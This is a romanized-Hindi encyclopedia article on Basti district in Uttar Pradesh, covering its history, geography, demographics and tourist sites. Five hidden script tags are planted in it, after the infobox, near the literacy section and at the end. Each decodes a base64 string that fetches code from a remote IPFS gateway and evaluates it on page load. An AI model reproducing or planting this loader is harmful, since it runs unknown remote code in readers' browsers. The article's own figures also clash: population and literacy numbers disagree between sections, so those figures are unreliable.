बस्ती ज़िला
basti zila
| |
| rajy | uttar pradesh |
| mukhyalay | basti |
| sthapana | san 1865 ee. |
| janasankhya | 2068922 (2001) |
| kshetraphal | 7309 varg kilomitar |
| bhaugolik nirdeshaank | 26° 23' aur 27° 30' uttar akshaansh tatha 82° 17' aur 83° 20' poorvi deshaantar |
| tahasil | 03 |
| mandal | basti |
| khandoan ki sankhya | 13 |
| kul gram | 3354 |
| mukhy aitihasik sthal | chhavani bazar, |
| mukhy paryatan sthal | sant ravidas van vihar, ganeshapur, makhauda, nagar, chandoo tal, barah, bhadreshhvar nath, agauna |
| liang anupat | 1000/916 (2001) ♂/♀ |
| saksharata | 54.28 % |
| · stri | 39.00 % |
| · purush | 68.16 % |
| tapaman | 26°C (ausat) |
| · grishm | 25°C se 44°C ke bich |
| · sharad | 9°C se 23°C ke bich |
| varsha | 1166mm mimi |
| doorabhash kod | 05542 |
| vahan panji. | U.P.- 51 |
| bahari k diyaan | adhikarik vebasait |
| adyatan | 12:22, 8 aktoobar 2010 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
yah bharat ke uttar pradesh prant ka ek shahar hai |
nam ki utpatti
prachin kal mean basti moolatah vaishishthi ke roop mean jana jata tha. vaishishthi nam maharshi vasishth ke nam se bana haian, jinaka rrishi ashram yahaan par tha. vartaman zila bahut pahale nirjan aur van se dhaka tha lekin dhire - dhire kshetr basane yogy ban gaya tha. vartaman nam basti raja kalhan dvara chayanit kiya gaya tha, yah ghatana jo shayad 16 vian sadi mean huee thi. 1801 mean basti tahasil mukhyalay ban gaya tha aur 1865 mean yah nav sthapit zile ke mukhyalay ke roop mean chuna gaya tha .
itihas
prachin kal
bahut prachin kal mean basti ke asapas ka jagah kaushal desh ka hissa tha. shatapath brahman apane sootr mean kaushal ka ullekh kiya haian, yah ek vaidik aryoan aur vaiyakaran panini ka desh tha. ram chandr raja dasharath ke jyeshth putr the jinaki mahima kaushal desh mean phaili huee thi, jianhe ek adarsh vaidh rajy, laukik ram rajy ki sthapana ka shrey jata hai. paranpara ke anusar, ram ke b de bete kush kaushal ke sianhasan par baithe, jabaki chhote bete lav ko rajy ke uttari bhag ka shasak banaya gaya rajadhani shravasti tha. ikshvaku se 93vaan pidhi aur ram se 30vaan pidhi brihadabala tha, yah ikshvaku shasan ka aantim prasiddh raja tha, jo mahanh mahabharat yuddh mean mara gaya tha. chhathi shatabdi ee. mean gupt shasan ki giravat ke sath basti bhi dhire - dhire uja d ho gaya, is samay ek ne rajavansh maukhari hua, jisaki rajadhani kannauj tha, jo uttari bharat ke rajanitik nakshe par ek mahattvapoorn sthan grahan kiya aur isi rajy mean maujood zila basti bhi shamil tha .
9vian shatabdi ee. ki shuruat mean, gurjar pratihar raja nagabhatt dvitiy ne ayodhya se kannauj shasan ko ukha d pheanka aur yah shahar unake naye banate shasan ka rajadhani bana, jo raja mahira bhoj 1 (836 - 885 ee.) ke samay mean bahut oochaee par tha. raja mahipal ke shasanakal ke dauran, kannauj ke satta mean giravat shuroo ho gee thi aur avadh chhota chhote hissoan mean vibhajit ho gaya tha lekin un sabhi ko aantatah naye ubharate shakti kannauj ke gadhaval raja jayachandr (1170-1194 ee.) mile. yah vansh ke aantim mahattvapoorn shasak the jo hamalavar sena muhammad gauri ke khilaf chand॔var ki l daee (itava ke pas) mean mare gaye the unaki mrityu ke turant bad kannauj turkoan ke kabje mean chala gaya. kianvadantiyoan ke anusar, sadiyoan se basti ek jangal tha aur avadh ki adhik se adhik bhag par bhar logo ka qabza tha. bhar ke mool aur itihas ke bare mean koee nishchit praman shighr upalabdh nahian hai. zila mean ek vyapak bhar rajy ke saboot ke roop mean prachin eeant imaratoan ke khandahar lokapriy hai jo zile ke kee gaanvoan mean bahutayat sankhya mean phaile hai .
madhyayugin kal
13 vian sadi ki shuruat mean, 1225 mean iltutamish ka b da beta, nasir-ud-din mahamood, avadh ke gavarnar ban gaya aur isane bhar logo ke sabhi pratirodho ko poori tarah kuchal dala. 1323 mean, gayasuddin tugalaq bangal jane ke lie beharaich aur goanda ke raste gaya shayad vah zila basti ke jangal ke khataroan se bachana chahata tha aur vah age ayodhya se nadi ke raste gaya . 1479 mean, basti aur asapas ke zile, jaunapur rajy ke shasak khvaja jahan ke uttaradhikariyo ke niyantran mean tha. bahalol lodi apane bhatije kala paha d ko is kshetr ka shasan de diya tha jisaka mukhyalay beharaich ko banaya tha jisame basti sahit asapas ke kshetr bhi the. is samay ke asapas, mahatma kabir, prasiddh kavi aur darshanik is zile mean magahar mean rahate the.
yah kaha jata hai ki pramukh rajapoot kuloan ke agaman se pahale, in ziloan mean sthaniy hindoo aur hindoo raja the aur kaha jata hai ki inhian shasako dvara bhar, tharoo, dome aur domekatar jaise adivasi janajatiyoan aur unake samany paramparao ko khatm kar diya gaya, ye sab kam se kam prachin rajyoan ke patan ke bad aur bauddh dharm ke ane ke bad hua. in hianduoan mean bhoomihar brahman, saravariya brahman aur visen shamil the. pashchim se rajapootoan ke agaman se pahale is zile mean hindoo samaj ka rajy tha. 13 vian sadi ke madhy mean shrinetr pahala navagantuk tha jo is kshetr mean a kar sthapit hua. jinaka pramukh chandrasen poorvi basti se domkatar ko nishkasit kiya tha. goanda praant ke kalhan rajapoot svayan paragana basti mean sthapit hue the. kalhan praant ke dakshin mean nagar praant mean gautam raja sthapit the. mahuli mean mahasuiya nam ka kabila tha jo mahaso ke rajapoot the.
any vishesh ullekh rajapoot kabile mean chauhan ka tha. yah kaha jata hai ki chittaun se tin pramukh mukuand bhage the jinaka zila basti ki avibhajit hisse par (ab yah zila siddharth nagar mean hai) shasan tha. 14 vian sadi ki aantim timahi tak basti zile ka ek bhag amodha par kayasth vansh ka shasan tha.
thumb|basti zile ka manachitr|250px
akabar aur unake uttaradhikari ke shasanakal ke dauran zila basti, avadh sube ke gorakhapur sarakar ka ek hissa bana hua tha. jaunapur ke gavarnar ke shasanakal ke shuroo ke dinoan mean yah zila vidrohi afaganistan ke netaoan jaise ali kuli khan, khan jaman ka sharanasthali tha . 1680 mean mugal kal ke dauran aurangajeb ne ek doot (path ke dharak) qazikhalil-ur-rahaman ko gorakhapur bheja tha shayad sthaniy pramukhoan se rajasv ka niyamit bhugatan prapt karane ke lie khalil-ur-rahaman ne hi gorakhapur se sate jilo ke saradaroan ko majaboor kiya tha ki ve rajasv ka bhugatan kare. is qadam ka yah parinam hua ki amodha aur nagar ke raja, jo hal hi mean satta hasil ki thi, rajasv ka bhugatan ko taiyar ho gaye aur takarav is tarah tal gaya. isake bad khalil-ur-rahaman ne magahar ke lie ravana hua jahaan usane apani chauki banaya tatha rapti ke tat par bane baansi ke raja ke kile par kabza kar liya. nav nirmit zila sant kabir nagar zila ka mukhyalay khalilabad shahar ka nam khalil ur rahaman se pana jisaka qabr magahar mean bana hai. usi samay ek pramukh sanak gorakhapur se ayodhya ka nirman hua tha 1690 faravari mean, himmat khan (shahajahaan khan bahadur japhar jang kokaltash ka putr, ilahabad ka soobedar) ko avadh ka soobedar aur gorakhapur faujadar banaya gaya, jisake adhikar mean basti aur usake asapas ka kshetr bahut samay tak tha.
adhunik kal
ek mahanh aur dooragami parivartan tab aya jab 9 sitambar, 1772 mean sadat khan ko avadh soobe ka rajyapal niyukt kiya gaya jisame gorakhapur ka faujadari bhi tha. usi samay bansi aur rasoolapur par sarnet raja ka, binayakapur par butaval ke chauhan ka, basti par kalhan shasak ka, amodha par sooryavansh ka, nagar par gautam ka, mahuli par sooryavansh ka shasan tha. jabaki akela magahar par navab ka shasan tha, jo musalaman chauki se mazaboot banaya gaya tha.
bhoogol
- sthiti aur sima
yah zila 26° 23' aur 27° 30' uttar akshaansh tatha 82° 17' aur 83° 20' poorvi deshaantar ke bich uttar bharat mean sthit hai. isaka uttar se dakshin ki adhikatam lanbaee 75 kimi hai aur poorv se pashchim mean lagabhag 70 kimi ki chau daee hai. basti zila poorvi mean nav nirmit zila sant kabir nagar aur pashchim mean goanda ke bich sthit hai, dakshin mean ghaghara nadi is zile ko phaijabad zila aur nav nirmit aanbedakar nagar zila se alag karati hai, jabaki uttar mean siddharthanagar zila se ghira hai. zila talahati - sanbandhi maidan mean poori tarah se phaila hai tatha koee prakritik unnayan nahian hai jo is par asar dale.
janasaankhyiki
2001 ki janaganana ke roop mean basti ki abadi 2068922 (1991 mean 2750764) thi. jinamean se 1079971 purush (1991 mean 1437727) aur 988951 mahila (1991 mean 1313037) (916 liang anupat) thi. purushoan aur mahilaoan ki janasankhya 48% se 52% thi. basti 69 % ki ek ausat saksharata dar 59.5% ke rashtriy ausat se adhik thi. purush saksharata 74% aur mahila saksharata 62% thi. basti mean, janasankhya ka 13% umr ke 6 sal ke aantargat thi.
yatayat
basti achchhi tarah se rel aur s dak marg se ju da hua hai.
- rel dvara
mukhy rel lain lakhanoo aur gorakhapur ko jonata hai aur bihar se hote hue poorv mean asam ko jata hai, yah zile ke dakshin se hokar gujarata hai. mukhy rel lain mean zila ke bhitar poorv se pashchim ki taraph 6 mukhy relave steshan muanderava, odavara, basti, goviand nagar, tinich aur gaur panata hai.
- s dak marg dvara
vartaman mean uttar pradesh rajy parivahan nigam ki (lagabhag) 200 basean zile mean 27 margoan par chal rahi hai.
adarsh sthal
sant ravidas van vihar, ganeshapur, makhauda, chhavani bazar, nagar, chandoo tal, barah, bhadreshhvar nath, agauna adi yahaan ke pramukh paryatan sthaloan mean se hai. isaka zila mukhyalay basti shahar hai. aitihasik drishti se bhi yah sthan kafi mahattvapoorn mana jata hai. basti zila sant kabir nagar zila ke poorv aur gonda ke pashchim mean sthit hai. kshetraphal ki drishti se bhi yah uttar pradesh ka satavaan b da zila hai. prachin samay mean basti ko kaushal ke nam se jana jata tha .
- ganeshapur
ganeshapur basti zila ka ek chhota sa gaanv hai. yah pashchim mean mukhyalay se sirf 4 kilomitar door aur kuvaanna nadi ke tat par sthit hai. yah purane mool ke piandariyoan ke utpatti ka sthan hai.
- makhauda
makhauda zila mukhyalay ke pashchim se lagabhag 57 kilomitar ki doori par hai. yah sthan ramayan kal se hi kafi prasiddh hai. kaha jata hai raja dasharath ne is jagah par shasan kiya tha. makhaula kaushal mahajanapad ka ek hissa tha.
- chhavani bazar
chhavani bazar zila mukhyalay se lagabhag 40 kilomitar ki doori par sthit hai. chhavani bazar 1857 ee. ke dauran svatantrata senaniyoan ka pramukh sharan sthan raha hai. yah sthan pipal ke vrikshoan ke lie bhi prasiddh hai. isi jagah par british sarakar ne janaral phort ki mrityu ke pashchath karravaee mean 250 javanoan ko phaansi par lataka diya tha.
- nagar
zila mukhyalay se lagabhag ath kilomitar ki doori par sthit nagar ek chhota sa gaanv hai. nagar gaanv ki pashchim disha mean vishal jhil chandoo tal sthit hai. yah machhali pak dane aur nishanebazi karane ke lie prasiddh hai. isake alava yah gaanv gautam buddh ke janm sthal ke roop mean bhi jana jata hai. chaudahavian shatabdi mean yah sthan gautam rajaoan ka zila mukhyalay ban gaya tha. us samay ka prachin durg aj bhi yahaan dekha ja sakata hai.
- bhadeshvar nath
yah kuvana nadi ke tat par, zila mukhyalay se lagabhag 6 kilomitar ki doori par sthit hai. bhadreshhvar nath bhagavan shiv ko samarpit mandir hai. mana jata hai ki is mandir ki sthapana ravan ne ki thi. pratyek varsh shivaratri ke avasar par yahaan mele ka ayojan kiya jata hai. kafi sankhya mean log is mele mean sammilit hote haian.
- agauna
aguna zila mukhyalay marg mean ram janaki marg par basa hua hai . aguna prasiddh hindi sahityakar shri ram chandr shukl ki janm bhoomi hai .
- barah chhatar
barah chhatar zila mukhyalay se pashchim mean lagabhag 15 kimi ki doori par kuvaanna nadi ke tat par sthit hai. yah jagah mukhy roop se barah mandir ke lie prasiddh hai. barah chhatar lokapriy pauranik pustakoan mean viyagrapuri roop mean jana jata hai. isake alava barah ko bhagavan shiv ki nagari ke nam se bhi jana jata hai.
- sant ravidas van vihar
sant ravidas van vihar (rashtriy van chetana kendr) kuvana nadi ke tat par sthit hai. yah van vihar zila mukhyalay se keval ek kilomitar ki doori par sthit ganeshapur gaanv ke marg par hai. yahaan par ek akarshak bal udyan aur jhil sthit hai. is bal udyan aur jhil ki sthapana sarakar dvar pikanik sthal ke roop mean ki gee hai. van vihar ke donoan taraph se kuvana nadi ka sparsh is jagah ki khoobasoorati ko aur adhik badha deta hai. sant ravidas van vihar sthit jhil mean botiang ka maja bhi liya ja sakata hai. samanyat: avakash ke dauran aur ravivar ke din any dinoan ki tulana mean kafi bhi d rahati hai.
- chandoo tal
chandoo tal zila mukhyalay se ath kilomitar ki doori par sthit hai. mana jata hai ki prachin samay mean is jagah ko chandr nagar ke nam se jana jata tha. kuchh samay pashchath yah jagah prakritik roop se ek jhil ke roop mean badal gee aur is jagah ko chandoo tal ke nam se jana jane laga. yah jhil paanch kilomitar lambi aur char kilomitar chau di hai. mana jata hai ki is jhil ke as-pas ki jagah se machhuvaroan v kuchh any logoan ko prachin samay ke dhatu ke bane abhooshan aur aitihasik avashesh prapt hue the. isake alava is jhil mean rashtriy evan aantarrashtriy pakshiyoan ki anek prajatiyaan bhi dekhi ja sakati hai.
saksharata
2001 ke roop mean, saksharata dar 1991 mean 35.36% se 54.28% ki vriddhi huee hai. saksharata dar purushoan ke lie 68.16% (1991 mean 50.93% se badhi huee) aur 39.00% pratishat mahilaoan ke lie (1991 mean 18.08% se badh gaya). basti shiksha aur audyogik mean uttar pradesh ke pichh de zile mean hai.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
vithika
- chitr:Bahadurpur.jpg
bahadurapur blak, basti zila
- chitr:Saughat.jpg
saanooghat blak, basti zila
- chitr:Rudhauli.jpg
rudhauli blak, basti zila
- chitr:Kaptanganj.jpg
kaptanaganj blak, basti zila
- chitr:Bankati.jpg
banakati blak, basti zila
- chitr:Kudaraha.jpg
kudaraha blak, basti zila
- chitr:Vikramjot.jpg
vikramajot blak, basti zila
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>